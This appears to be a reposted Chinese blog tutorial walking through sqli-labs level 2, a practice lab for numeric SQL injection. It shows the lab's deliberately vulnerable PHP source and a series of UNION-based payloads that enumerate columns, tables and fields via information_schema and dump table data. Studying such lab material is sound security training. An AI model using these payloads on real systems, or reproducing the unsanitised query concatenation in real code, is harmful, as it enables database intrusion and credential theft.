数据库
首页 > 数据库> > sql注入--数字型

sql注入--数字型

作者:互联网

sql注入–数字型

靶场:sqli-labs-master
下载链接:靶场下载链接

第二关php源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
echo $sql;
echo "<br/>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else
		{ 	
		echo "Please input the ID as parameter with numeric value";
		}

?>

补充知识:
1.php中双引号中语句会对变量进行解析,单引号中的不会
2.sql查询中如果查询条件不是数字的话,那么一定要加上引号,而数字型则不需要

首先测试?id=1
在这里插入图片描述
测试?id=abc
在这里插入图片描述
测试 ?id=’ %23
在这里插入图片描述

出现报错,说明我们的输入被拼接到了sql语句中并在后台进行查询了,并且查询条件中没有引号(因为使用单引号无法闭合),那么查询条件一定是数字,可以确定是数字型的注入

然后就和上一篇文章中的做法一样
sql注入–报错型

①.获取字段信息

SELECT * FROM users WHERE id=1 order by 3 # LIMIT 0,1

在这里插入图片描述
可以知道数据表存在3列

②.判断回显点

SELECT * FROM users WHERE id=0 union select 1,2,3 # LIMIT 0,1

由于数据库中不存在id为0的数据,故可以用此语句进行判断
在这里插入图片描述
由此可知,回显点为第2列和第3列

SELECT * FROM users WHERE id=0 union select 1,database(),version() # LIMIT 0,1

在这里插入图片描述
③.通过information_schema查询当前数据库中的所有表的名字

SELECT * FROM users WHERE id=0 union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=database() # LIMIT 0,1

在这里插入图片描述
得到当前数据库中有4个表:emails,referers,uagents,users

④.通过联合查询information_schema中的columns获取表的字段名称

emails表

ELECT * FROM users WHERE id=0 union select 1,group_concat(column_name),user() from information_schema.columns where table_name='emails' # LIMIT 0,1

在这里插入图片描述
可得到emails表中有2个字段:id, email_id

referers表

SELECT * FROM users WHERE id=0 union select 1,group_concat(column_name),user() from information_schema.columns where table_name='referers' # LIMIT 0,1

在这里插入图片描述
得到referes表中有3个字段:id, referer,ip_address
其他表同理可得

⑤.获取指定表的数据信息
比如获取emails中的数据信息

SELECT * FROM users WHERE id=0 union select 1,id, email_id from emails where id=1 # LIMIT 0,1

在这里插入图片描述
其他表的信息同理可得

标签:users,数字型,--,emails,echo,LIMIT,sql,WHERE,id
来源: https://blog.csdn.net/pakho_C/article/details/122268973